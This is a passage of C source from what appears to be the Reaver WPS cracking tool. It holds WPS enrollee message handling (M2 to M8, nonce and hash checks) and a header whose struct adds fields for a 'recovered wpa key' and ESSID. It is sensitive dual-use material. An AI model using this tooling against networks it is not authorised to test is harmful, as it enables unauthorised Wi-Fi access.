wpa_printf(MSG_DEBUG, "WPS: Building Message WSC_ACK"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_WSC_ACK) || wps_build_enrollee_nonce(wps, msg) || wps_build_registrar_nonce(wps, msg)) { wpabuf_free(msg); return NULL; } return msg; } static struct wpabuf * wps_build_wsc_nack(struct wps_data *wps) { struct wpabuf *msg; wpa_printf(MSG_DEBUG, "WPS: Building Message WSC_NACK"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_WSC_NACK) || wps_build_enrollee_nonce(wps, msg) || wps_build_registrar_nonce(wps, msg) || wps_build_config_error(msg, wps->config_error)) { wpabuf_free(msg); return NULL; } return msg; } struct wpabuf * wps_enrollee_get_msg(struct wps_data *wps, enum wsc_op_code *op_code) { struct wpabuf *msg; switch (wps->state) { case SEND_M1: msg = wps_build_m1(wps); *op_code = WSC_MSG; break; case SEND_M3: msg = wps_build_m3(wps); *op_code = WSC_MSG; break; case SEND_M5: msg = wps_build_m5(wps); *op_code = WSC_MSG; break; case SEND_M7: msg = wps_build_m7(wps); *op_code = WSC_MSG; break; case RECEIVED_M2D: if (wps->wps->ap) { msg = wps_build_wsc_nack(wps); *op_code = WSC_NACK; break; } msg = wps_build_wsc_ack(wps); *op_code = WSC_ACK; if (msg) { /* Another M2/M2D may be received */ wps->state = RECV_M2; } break; case SEND_WSC_NACK: msg = wps_build_wsc_nack(wps); *op_code = WSC_NACK; break; case WPS_MSG_DONE: msg = wps_build_wsc_done(wps); *op_code = WSC_Done; break; default: wpa_printf(MSG_DEBUG, "WPS: Unsupported state %d for building " "a message", wps->state); msg = NULL; break; } if (*op_code == WSC_MSG && msg) { /* Save a copy of the last message for Authenticator derivation */ wpabuf_free(wps->last_msg); wps->last_msg = wpabuf_dup(msg); } return msg; } static int wps_process_registrar_nonce(struct wps_data *wps, const u8 *r_nonce) { if (r_nonce == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Registrar Nonce received"); return -1; } os_memcpy(wps->nonce_r, r_nonce, WPS_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "WPS: Registrar Nonce", wps->nonce_r, WPS_NONCE_LEN); return 0; } static int wps_process_enrollee_nonce(struct wps_data *wps, const u8 *e_nonce) { if (e_nonce == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Enrollee Nonce received"); return -1; } if (os_memcmp(wps->nonce_e, e_nonce, WPS_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Invalid Enrollee Nonce received"); return -1; } return 0; } static int wps_process_uuid_r(struct wps_data *wps, const u8 *uuid_r) { if (uuid_r == NULL) { wpa_printf(MSG_DEBUG, "WPS: No UUID-R received"); return -1; } os_memcpy(wps->uuid_r, uuid_r, WPS_UUID_LEN); wpa_hexdump(MSG_DEBUG, "WPS: UUID-R", wps->uuid_r, WPS_UUID_LEN); return 0; } static int wps_process_pubkey(struct wps_data *wps, const u8 *pk, size_t pk_len) { if (pk == NULL || pk_len == 0) { wpa_printf(MSG_DEBUG, "WPS: No Public Key received"); return -1; } #ifdef CONFIG_WPS_OOB if (wps->dev_pw_id != DEV_PW_DEFAULT && wps->wps->oob_conf.pubkey_hash) { const u8 *addr[1]; u8 hash[WPS_HASH_LEN]; addr[0] = pk; sha256_vector(1, addr, &pk_len, hash); if (os_memcmp(hash, wpabuf_head(wps->wps->oob_conf.pubkey_hash), WPS_OOB_PUBKEY_HASH_LEN) != 0) { wpa_printf(MSG_ERROR, "WPS: Public Key hash error"); return -1; } } #endif /* CONFIG_WPS_OOB */ wpabuf_free(wps->dh_pubkey_r); wps->dh_pubkey_r = wpabuf_alloc_copy(pk, pk_len); if (wps->dh_pubkey_r == NULL) return -1; if (wps_derive_keys(wps) < 0) return -1; return 0; } static int wps_process_r_hash1(struct wps_data *wps, const u8 *r_hash1) { if (r_hash1 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No R-Hash1 received"); return -1; } os_memcpy(wps->peer_hash1, r_hash1, WPS_HASH_LEN); wpa_hexdump(MSG_DEBUG, "WPS: R-Hash1", wps->peer_hash1, WPS_HASH_LEN); return 0; } static int wps_process_r_hash2(struct wps_data *wps, const u8 *r_hash2) { if (r_hash2 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No R-Hash2 received"); return -1; } os_memcpy(wps->peer_hash2, r_hash2, WPS_HASH_LEN); wpa_hexdump(MSG_DEBUG, "WPS: R-Hash2", wps->peer_hash2, WPS_HASH_LEN); return 0; } static int wps_process_r_snonce1(struct wps_data *wps, const u8 *r_snonce1) { u8 hash[SHA256_MAC_LEN]; const u8 *addr[4]; size_t len[4]; if (r_snonce1 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No R-SNonce1 received"); return -1; } wpa_hexdump_key(MSG_DEBUG, "WPS: R-SNonce1", r_snonce1, WPS_SECRET_NONCE_LEN); /* R-Hash1 = HMAC_AuthKey(R-S1 || PSK1 || PK_E || PK_R) */ addr[0] = r_snonce1; len[0] = WPS_SECRET_NONCE_LEN; addr[1] = wps->psk1; len[1] = WPS_PSK_LEN; addr[2] = wpabuf_head(wps->dh_pubkey_e); len[2] = wpabuf_len(wps->dh_pubkey_e); addr[3] = wpabuf_head(wps->dh_pubkey_r); len[3] = wpabuf_len(wps->dh_pubkey_r); hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); if (os_memcmp(wps->peer_hash1, hash, WPS_HASH_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: R-Hash1 derived from R-S1 does " "not match with the pre-committed value"); wps->config_error = WPS_CFG_DEV_PASSWORD_AUTH_FAILURE; wps_pwd_auth_fail_event(wps->wps, 1, 1); return -1; } wpa_printf(MSG_DEBUG, "WPS: Registrar proved knowledge of the first " "half of the device password"); return 0; } static int wps_process_r_snonce2(struct wps_data *wps, const u8 *r_snonce2) { u8 hash[SHA256_MAC_LEN]; const u8 *addr[4]; size_t len[4]; if (r_snonce2 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No R-SNonce2 received"); return -1; } wpa_hexdump_key(MSG_DEBUG, "WPS: R-SNonce2", r_snonce2, WPS_SECRET_NONCE_LEN); /* R-Hash2 = HMAC_AuthKey(R-S2 || PSK2 || PK_E || PK_R) */ addr[0] = r_snonce2; len[0] = WPS_SECRET_NONCE_LEN; addr[1] = wps->psk2; len[1] = WPS_PSK_LEN; addr[2] = wpabuf_head(wps->dh_pubkey_e); len[2] = wpabuf_len(wps->dh_pubkey_e); addr[3] = wpabuf_head(wps->dh_pubkey_r); len[3] = wpabuf_len(wps->dh_pubkey_r); hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); if (os_memcmp(wps->peer_hash2, hash, WPS_HASH_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: R-Hash2 derived from R-S2 does " "not match with the pre-committed value"); wps->config_error = WPS_CFG_DEV_PASSWORD_AUTH_FAILURE; wps_pwd_auth_fail_event(wps->wps, 1, 2); return -1; } wpa_printf(MSG_DEBUG, "WPS: Registrar proved knowledge of the second " "half of the device password"); return 0; } static int wps_process_cred_e(struct wps_data *wps, const u8 *cred, size_t cred_len) { struct wps_parse_attr attr; struct wpabuf msg; wpa_printf(MSG_DEBUG, "WPS: Received Credential"); os_memset(&wps->cred, 0, sizeof(wps->cred)); wpabuf_set(&msg, cred, cred_len); if (wps_parse_msg(&msg, &attr) < 0 || wps_process_cred(&attr, &wps->cred)) return -1; if (os_memcmp(wps->cred.mac_addr, wps->wps->dev.mac_addr, ETH_ALEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: MAC Address in the Credential (" MACSTR ") does not match with own address (" MACSTR ")", MAC2STR(wps->cred.mac_addr), MAC2STR(wps->wps->dev.mac_addr)); /* * In theory, this could be consider fatal error, but there are * number of deployed implementations using other address here * due to unclarity in the specification. For interoperability * reasons, allow this to be processed since we do not really * use the MAC Address information for anything. */ } if (wps->wps->cred_cb) { wps->cred.cred_attr = cred - 4; wps->cred.cred_attr_len = cred_len + 4; wps->wps->cred_cb(wps->wps->cb_ctx, &wps->cred); wps->cred.cred_attr = NULL; wps->cred.cred_attr_len = 0; } return 0; } static int wps_process_creds(struct wps_data *wps, const u8 *cred[], size_t cred_len[], size_t num_cred) { size_t i; if (wps->wps->ap) return 0; if (num_cred == 0) { wpa_printf(MSG_DEBUG, "WPS: No Credential attributes " "received"); return -1; } for (i = 0; i < num_cred; i++) { if (wps_process_cred_e(wps, cred[i], cred_len[i])) return -1; } return 0; } static int wps_process_ap_settings_e(struct wps_data *wps, struct wps_parse_attr *attr, struct wpabuf *attrs) { struct wps_credential cred; if (!wps->wps->ap) return 0; if (wps_process_ap_settings(attr, &cred) < 0) return -1; wpa_printf(MSG_INFO, "WPS: Received new AP configuration from " "Registrar"); if (os_memcmp(cred.mac_addr, wps->wps->dev.mac_addr, ETH_ALEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: MAC Address in the AP Settings (" MACSTR ") does not match with own address (" MACSTR ")", MAC2STR(cred.mac_addr), MAC2STR(wps->wps->dev.mac_addr)); /* * In theory, this could be consider fatal error, but there are * number of deployed implementations using other address here * due to unclarity in the specification. For interoperability * reasons, allow this to be processed since we do not really * use the MAC Address information for anything. */ } if (wps->wps->cred_cb) { cred.cred_attr = wpabuf_head(attrs); cred.cred_attr_len = wpabuf_len(attrs); wps->wps->cred_cb(wps->wps->cb_ctx, &cred); } return 0; } static enum wps_process_res wps_process_m2(struct wps_data *wps, const struct wpabuf *msg, struct wps_parse_attr *attr) { wpa_printf(MSG_DEBUG, "WPS: Received M2"); if (wps->state != RECV_M2) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M2", wps->state); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps_process_registrar_nonce(wps, attr->registrar_nonce) || wps_process_enrollee_nonce(wps, attr->enrollee_nonce) || wps_process_uuid_r(wps, attr->uuid_r)) { wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps->wps->ap && (wps->wps->ap_setup_locked || wps->dev_password == NULL)) { wpa_printf(MSG_DEBUG, "WPS: AP Setup is locked - refuse " "registration of a new Registrar"); wps->config_error = WPS_CFG_SETUP_LOCKED; wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps_process_pubkey(wps, attr->public_key, attr->public_key_len) || wps_process_authenticator(wps, attr->authenticator, msg) || wps_process_device_attrs(&wps->peer_dev, attr)) { wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wps->state = SEND_M3; return WPS_CONTINUE; } static enum wps_process_res wps_process_m2d(struct wps_data *wps, struct wps_parse_attr *attr) { wpa_printf(MSG_DEBUG, "WPS: Received M2D"); if (wps->state != RECV_M2) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M2D", wps->state); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpa_hexdump_ascii(MSG_DEBUG, "WPS: Manufacturer", attr->manufacturer, attr->manufacturer_len); wpa_hexdump_ascii(MSG_DEBUG, "WPS: Model Name", attr->model_name, attr->model_name_len); wpa_hexdump_ascii(MSG_DEBUG, "WPS: Model Number", attr->model_number, attr->model_number_len); wpa_hexdump_ascii(MSG_DEBUG, "WPS: Serial Number", attr->serial_number, attr->serial_number_len); wpa_hexdump_ascii(MSG_DEBUG, "WPS: Device Name", attr->dev_name, attr->dev_name_len); if (wps->wps->event_cb) { union wps_event_data data; struct wps_event_m2d *m2d = &data.m2d; os_memset(&data, 0, sizeof(data)); if (attr->config_methods) m2d->config_methods = WPA_GET_BE16(attr->config_methods); m2d->manufacturer = attr->manufacturer; m2d->manufacturer_len = attr->manufacturer_len; m2d->model_name = attr->model_name; m2d->model_name_len = attr->model_name_len; m2d->model_number = attr->model_number; m2d->model_number_len = attr->model_number_len; m2d->serial_number = attr->serial_number; m2d->serial_number_len = attr->serial_number_len; m2d->dev_name = attr->dev_name; m2d->dev_name_len = attr->dev_name_len; m2d->primary_dev_type = attr->primary_dev_type; if (attr->config_error) m2d->config_error = WPA_GET_BE16(attr->config_error); if (attr->dev_password_id) m2d->dev_password_id = WPA_GET_BE16(attr->dev_password_id); wps->wps->event_cb(wps->wps->cb_ctx, WPS_EV_M2D, &data); } wps->state = RECEIVED_M2D; return WPS_CONTINUE; } static enum wps_process_res wps_process_m4(struct wps_data *wps, const struct wpabuf *msg, struct wps_parse_attr *attr) { struct wpabuf *decrypted; struct wps_parse_attr eattr; wpa_printf(MSG_DEBUG, "WPS: Received M4"); if (wps->state != RECV_M4) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M4", wps->state); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps_process_enrollee_nonce(wps, attr->enrollee_nonce) || wps_process_authenticator(wps, attr->authenticator, msg) || wps_process_r_hash1(wps, attr->r_hash1) || wps_process_r_hash2(wps, attr->r_hash2)) { wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } decrypted = wps_decrypt_encr_settings(wps, attr->encr_settings, attr->encr_settings_len); if (decrypted == NULL) { wpa_printf(MSG_DEBUG, "WPS: Failed to decrypted Encrypted " "Settings attribute"); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpa_printf(MSG_DEBUG, "WPS: Processing decrypted Encrypted Settings " "attribute"); if (wps_parse_msg(decrypted, &eattr) < 0 || wps_process_key_wrap_auth(wps, decrypted, eattr.key_wrap_auth) || wps_process_r_snonce1(wps, eattr.r_snonce1)) { wpabuf_free(decrypted); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpabuf_free(decrypted); wps->state = SEND_M5; return WPS_CONTINUE; } static enum wps_process_res wps_process_m6(struct wps_data *wps, const struct wpabuf *msg, struct wps_parse_attr *attr) { struct wpabuf *decrypted; struct wps_parse_attr eattr; wpa_printf(MSG_DEBUG, "WPS: Received M6"); if (wps->state != RECV_M6) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M6", wps->state); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps_process_enrollee_nonce(wps, attr->enrollee_nonce) || wps_process_authenticator(wps, attr->authenticator, msg)) { wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } decrypted = wps_decrypt_encr_settings(wps, attr->encr_settings, attr->encr_settings_len); if (decrypted == NULL) { wpa_printf(MSG_DEBUG, "WPS: Failed to decrypted Encrypted " "Settings attribute"); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpa_printf(MSG_DEBUG, "WPS: Processing decrypted Encrypted Settings " "attribute"); if (wps_parse_msg(decrypted, &eattr) < 0 || wps_process_key_wrap_auth(wps, decrypted, eattr.key_wrap_auth) || wps_process_r_snonce2(wps, eattr.r_snonce2)) { wpabuf_free(decrypted); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpabuf_free(decrypted); wps->state = SEND_M7; return WPS_CONTINUE; } static enum wps_process_res wps_process_m8(struct wps_data *wps, const struct wpabuf *msg, struct wps_parse_attr *attr) { struct wpabuf *decrypted; struct wps_parse_attr eattr; wpa_printf(MSG_DEBUG, "WPS: Received M8"); if (wps->state != RECV_M8) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M8", wps->state); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps_process_enrollee_nonce(wps, attr->enrollee_nonce) || wps_process_authenticator(wps, attr->authenticator, msg)) { wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } decrypted = wps_decrypt_encr_settings(wps, attr->encr_settings, attr->encr_settings_len); if (decrypted == NULL) { wpa_printf(MSG_DEBUG, "WPS: Failed to decrypted Encrypted " "Settings attribute"); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpa_printf(MSG_DEBUG, "WPS: Processing decrypted Encrypted Settings " "attribute"); if (wps_parse_msg(decrypted, &eattr) < 0 || wps_process_key_wrap_auth(wps, decrypted, eattr.key_wrap_auth) || wps_process_creds(wps, eattr.cred, eattr.cred_len, eattr.num_cred) || wps_process_ap_settings_e(wps, &eattr, decrypted)) { wpabuf_free(decrypted); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wpabuf_free(decrypted); wps->state = WPS_MSG_DONE; return WPS_CONTINUE; } static enum wps_process_res wps_process_wsc_msg(struct wps_data *wps, const struct wpabuf *msg) { struct wps_parse_attr attr; enum wps_process_res ret = WPS_CONTINUE; wpa_printf(MSG_DEBUG, "WPS: Received WSC_MSG"); if (wps_parse_msg(msg, &attr) < 0) return WPS_FAILURE; if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported message version 0x%x", attr.version ? *attr.version : 0); return WPS_FAILURE; } if (attr.enrollee_nonce == NULL || os_memcmp(wps->nonce_e, attr.enrollee_nonce, WPS_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in enrollee nonce"); return WPS_FAILURE; } if (attr.msg_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Message Type attribute"); return WPS_FAILURE; } switch (*attr.msg_type) { case WPS_M2: ret = wps_process_m2(wps, msg, &attr); break; case WPS_M2D: ret = wps_process_m2d(wps, &attr); break; case WPS_M4: ret = wps_process_m4(wps, msg, &attr); if (ret == WPS_FAILURE || wps->state == SEND_WSC_NACK) wps_fail_event(wps->wps, WPS_M4); break; case WPS_M6: ret = wps_process_m6(wps, msg, &attr); if (ret == WPS_FAILURE || wps->state == SEND_WSC_NACK) wps_fail_event(wps->wps, WPS_M6); break; case WPS_M8: ret = wps_process_m8(wps, msg, &attr); if (ret == WPS_FAILURE || wps->state == SEND_WSC_NACK) wps_fail_event(wps->wps, WPS_M8); break; default: wpa_printf(MSG_DEBUG, "WPS: Unsupported Message Type %d", *attr.msg_type); return WPS_FAILURE; } /* * Save a copy of the last message for Authenticator derivation if we * are continuing. However, skip M2D since it is not authenticated and * neither is the ACK/NACK response frame. This allows the possibly * following M2 to be processed correctly by using the previously sent * M1 in Authenticator derivation. */ if (ret == WPS_CONTINUE && *attr.msg_type != WPS_M2D) { /* Save a copy of the last message for Authenticator derivation */ wpabuf_free(wps->last_msg); wps->last_msg = wpabuf_dup(msg); } return ret; } static enum wps_process_res wps_process_wsc_ack(struct wps_data *wps, const struct wpabuf *msg) { struct wps_parse_attr attr; wpa_printf(MSG_DEBUG, "WPS: Received WSC_ACK"); if (wps_parse_msg(msg, &attr) < 0) return WPS_FAILURE; if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported message version 0x%x", attr.version ? *attr.version : 0); return WPS_FAILURE; } if (attr.msg_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Message Type attribute"); return WPS_FAILURE; } if (*attr.msg_type != WPS_WSC_ACK) { wpa_printf(MSG_DEBUG, "WPS: Invalid Message Type %d", *attr.msg_type); return WPS_FAILURE; } if (attr.registrar_nonce == NULL || os_memcmp(wps->nonce_r, attr.registrar_nonce, WPS_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in registrar nonce"); return WPS_FAILURE; } if (attr.enrollee_nonce == NULL || os_memcmp(wps->nonce_e, attr.enrollee_nonce, WPS_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in enrollee nonce"); return WPS_FAILURE; } if (wps->state == RECV_ACK && wps->wps->ap) { wpa_printf(MSG_DEBUG, "WPS: External Registrar registration " "completed successfully"); wps_success_event(wps->wps); wps->state = WPS_FINISHED; return WPS_DONE; } return WPS_FAILURE; } static enum wps_process_res wps_process_wsc_nack(struct wps_data *wps, const struct wpabuf *msg) { struct wps_parse_attr attr; wpa_printf(MSG_DEBUG, "WPS: Received WSC_NACK"); if (wps_parse_msg(msg, &attr) < 0) return WPS_FAILURE; if (!wps_version_supported(attr.version)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported message version 0x%x", attr.version ? *attr.version : 0); return WPS_FAILURE; } if (attr.msg_type == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Message Type attribute"); return WPS_FAILURE; } if (*attr.msg_type != WPS_WSC_NACK) { wpa_printf(MSG_DEBUG, "WPS: Invalid Message Type %d", *attr.msg_type); return WPS_FAILURE; } if (attr.registrar_nonce == NULL || os_memcmp(wps->nonce_r, attr.registrar_nonce, WPS_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in registrar nonce"); wpa_hexdump(MSG_DEBUG, "WPS: Received Registrar Nonce", attr.registrar_nonce, WPS_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "WPS: Expected Registrar Nonce", wps->nonce_r, WPS_NONCE_LEN); return WPS_FAILURE; } if (attr.enrollee_nonce == NULL || os_memcmp(wps->nonce_e, attr.enrollee_nonce, WPS_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Mismatch in enrollee nonce"); wpa_hexdump(MSG_DEBUG, "WPS: Received Enrollee Nonce", attr.enrollee_nonce, WPS_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "WPS: Expected Enrollee Nonce", wps->nonce_e, WPS_NONCE_LEN); return WPS_FAILURE; } if (attr.config_error == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Configuration Error attribute " "in WSC_NACK"); return WPS_FAILURE; } wpa_printf(MSG_DEBUG, "WPS: Registrar terminated negotiation with " "Configuration Error %d", WPA_GET_BE16(attr.config_error)); switch (wps->state) { case RECV_M4: wps_fail_event(wps->wps, WPS_M3); break; case RECV_M6: wps_fail_event(wps->wps, WPS_M5); break; case RECV_M8: wps_fail_event(wps->wps, WPS_M7); break; default: break; } /* Followed by NACK if Enrollee is Supplicant or EAP-Failure if * Enrollee is Authenticator */ wps->state = SEND_WSC_NACK; return WPS_FAILURE; } enum wps_process_res wps_enrollee_process_msg(struct wps_data *wps, enum wsc_op_code op_code, const struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: Processing received message (len=%lu " "op_code=%d)", (unsigned long) wpabuf_len(msg), op_code); if (op_code == WSC_UPnP) { /* Determine the OpCode based on message type attribute */ struct wps_parse_attr attr; if (wps_parse_msg(msg, &attr) == 0 && attr.msg_type) { if (*attr.msg_type == WPS_WSC_ACK) op_code = WSC_ACK; else if (*attr.msg_type == WPS_WSC_NACK) op_code = WSC_NACK; } } switch (op_code) { case WSC_MSG: case WSC_UPnP: return wps_process_wsc_msg(wps, msg); case WSC_ACK: return wps_process_wsc_ack(wps, msg); case WSC_NACK: return wps_process_wsc_nack(wps, msg); default: wpa_printf(MSG_DEBUG, "WPS: Unsupported op_code %d", op_code); return WPS_FAILURE; } } reaver-wps-fork-t6x-1.6.6/src/wps/wps_i.h000066400000000000000000000221361363372615500202060ustar00rootroot00000000000000/* * Wi-Fi Protected Setup - internal definitions * Copyright (c) 2008-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPS_I_H #define WPS_I_H #include "wps.h" /** * struct wps_data - WPS registration protocol data * * This data is stored at the EAP-WSC server/peer method and it is kept for a * single registration protocol run. */ struct wps_data { /** * wps - Pointer to long term WPS context */ struct wps_context *wps; /* * @@@ Pointer to recovered wpa key @@@ * Added so that callers outside of the wpa_supplicant * code can easily access this value. */ char *key; /* * @@@ Pointer to recovered ESSID @@@ */ char *essid; /** * registrar - Whether this end is a Registrar */ int registrar; /** * er - Whether the local end is an external registrar */ int er; enum { /* Enrollee states */ SEND_M1, RECV_M2, SEND_M3, RECV_M4, SEND_M5, RECV_M6, SEND_M7, RECV_M8, RECEIVED_M2D, WPS_MSG_DONE, RECV_ACK, WPS_FINISHED, SEND_WSC_NACK, /* Registrar states */ RECV_M1, SEND_M2, RECV_M3, SEND_M4, RECV_M5, SEND_M6, RECV_M7, SEND_M8, RECV_DONE, SEND_M2D, RECV_M2D_ACK } state; u8 uuid_e[WPS_UUID_LEN]; u8 uuid_r[WPS_UUID_LEN]; u8 mac_addr_e[ETH_ALEN]; u8 nonce_e[WPS_NONCE_LEN]; u8 nonce_r[WPS_NONCE_LEN]; u8 psk1[WPS_PSK_LEN]; u8 psk2[WPS_PSK_LEN]; u8 snonce[2 * WPS_SECRET_NONCE_LEN]; u8 peer_hash1[WPS_HASH_LEN]; u8 peer_hash2[WPS_HASH_LEN]; struct wpabuf *dh_privkey; struct wpabuf *dh_pubkey_e; struct wpabuf *dh_pubkey_r; u8 authkey[WPS_AUTHKEY_LEN]; u8 keywrapkey[WPS_KEYWRAPKEY_LEN]; u8 emsk[WPS_EMSK_LEN]; struct wpabuf *last_msg; u8 *dev_password; size_t dev_password_len; u16 dev_pw_id; int pbc; /** * request_type - Request Type attribute from (Re)AssocReq */ u8 request_type; /** * encr_type - Available encryption types */ u16 encr_type; /** * auth_type - Available authentication types */ u16 auth_type; u8 *new_psk; size_t new_psk_len; int wps_pin_revealed; struct wps_credential cred; struct wps_device_data peer_dev; /** * config_error - Configuration Error value to be used in NACK */ u16 config_error; int ext_reg; int int_reg; struct wps_credential *new_ap_settings; void *dh_ctx; void (*ap_settings_cb)(void *ctx, const struct wps_credential *cred); void *ap_settings_cb_ctx; struct wps_credential *use_cred; int use_psk_key; }; struct wps_parse_attr { /* fixed length fields */ const u8 *version; /* 1 octet */ const u8 *msg_type; /* 1 octet */ const u8 *enrollee_nonce; /* WPS_NONCE_LEN (16) octets */ const u8 *registrar_nonce; /* WPS_NONCE_LEN (16) octets */ const u8 *uuid_r; /* WPS_UUID_LEN (16) octets */ const u8 *uuid_e; /* WPS_UUID_LEN (16) octets */ const u8 *auth_type_flags; /* 2 octets */ const u8 *encr_type_flags; /* 2 octets */ const u8 *conn_type_flags; /* 1 octet */ const u8 *config_methods; /* 2 octets */ const u8 *sel_reg_config_methods; /* 2 octets */ const u8 *primary_dev_type; /* 8 octets */ const u8 *rf_bands; /* 1 octet */ const u8 *assoc_state; /* 2 octets */ const u8 *config_error; /* 2 octets */ const u8 *dev_password_id; /* 2 octets */ const u8 *oob_dev_password; /* WPS_OOB_DEVICE_PASSWORD_ATTR_LEN (54) * octets */ const u8 *os_version; /* 4 octets */ const u8 *wps_state; /* 1 octet */ const u8 *authenticator; /* WPS_AUTHENTICATOR_LEN (8) octets */ const u8 *r_hash1; /* WPS_HASH_LEN (32) octets */ const u8 *r_hash2; /* WPS_HASH_LEN (32) octets */ const u8 *e_hash1; /* WPS_HASH_LEN (32) octets */ const u8 *e_hash2; /* WPS_HASH_LEN (32) octets */ const u8 *r_snonce1; /* WPS_SECRET_NONCE_LEN (16) octets */ const u8 *r_snonce2; /* WPS_SECRET_NONCE_LEN (16) octets */ const u8 *e_snonce1; /* WPS_SECRET_NONCE_LEN (16) octets */ const u8 *e_snonce2; /* WPS_SECRET_NONCE_LEN (16) octets */ const u8 *key_wrap_auth; /* WPS_KWA_LEN (8) octets */ const u8 *auth_type; /* 2 octets */ const u8 *encr_type; /* 2 octets */ const u8 *network_idx; /* 1 octet */ const u8 *network_key_idx; /* 1 octet */ const u8 *mac_addr; /* ETH_ALEN (6) octets */ const u8 *key_prov_auto; /* 1 octet (Bool) */ const u8 *dot1x_enabled; /* 1 octet (Bool) */ const u8 *selected_registrar; /* 1 octet (Bool) */ const u8 *request_type; /* 1 octet */ const u8 *response_type; /* 1 octet */ const u8 *ap_setup_locked; /* 1 octet */ /* variable length fields */ const u8 *manufacturer; size_t manufacturer_len; const u8 *model_name; size_t model_name_len; const u8 *model_number; size_t model_number_len; const u8 *serial_number; size_t serial_number_len; const u8 *dev_name; size_t dev_name_len; const u8 *public_key; size_t public_key_len; const u8 *encr_settings; size_t encr_settings_len; const u8 *ssid; /* <= 32 octets */ size_t ssid_len; const u8 *network_key; /* <= 64 octets */ size_t network_key_len; const u8 *eap_type; /* <= 8 octets */ size_t eap_type_len; const u8 *eap_identity; /* <= 64 octets */ size_t eap_identity_len; /* attributes that can occur multiple times */ #define MAX_CRED_COUNT 10 const u8 *cred[MAX_CRED_COUNT]; size_t cred_len[MAX_CRED_COUNT]; size_t num_cred; }; /* wps_common.c */ void wps_kdf(const u8 *key, const u8 *label_prefix, size_t label_prefix_len, const char *label, u8 *res, size_t res_len); int wps_derive_keys(struct wps_data *wps); void wps_derive_psk(struct wps_data *wps, const u8 *dev_passwd, size_t dev_passwd_len); struct wpabuf * wps_decrypt_encr_settings(struct wps_data *wps, const u8 *encr, size_t encr_len); void wps_fail_event(struct wps_context *wps, enum wps_msg_type msg); void wps_success_event(struct wps_context *wps); void wps_pwd_auth_fail_event(struct wps_context *wps, int enrollee, int part); void wps_pbc_overlap_event(struct wps_context *wps); void wps_pbc_timeout_event(struct wps_context *wps); extern struct oob_device_data oob_ufd_device_data; extern struct oob_device_data oob_nfc_device_data; extern struct oob_nfc_device_data oob_nfc_pn531_device_data; /* wps_attr_parse.c */ int wps_parse_msg(const struct wpabuf *msg, struct wps_parse_attr *attr); /* wps_attr_build.c */ int wps_build_public_key(struct wps_data *wps, struct wpabuf *msg); int wps_build_req_type(struct wpabuf *msg, enum wps_request_type type); int wps_build_resp_type(struct wpabuf *msg, enum wps_response_type type); int wps_build_config_methods(struct wpabuf *msg, u16 methods); int wps_build_uuid_e(struct wpabuf *msg, const u8 *uuid); int wps_build_dev_password_id(struct wpabuf *msg, u16 id); int wps_build_config_error(struct wpabuf *msg, u16 err); int wps_build_authenticator(struct wps_data *wps, struct wpabuf *msg); int wps_build_key_wrap_auth(struct wps_data *wps, struct wpabuf *msg); int wps_build_encr_settings(struct wps_data *wps, struct wpabuf *msg, struct wpabuf *plain); int 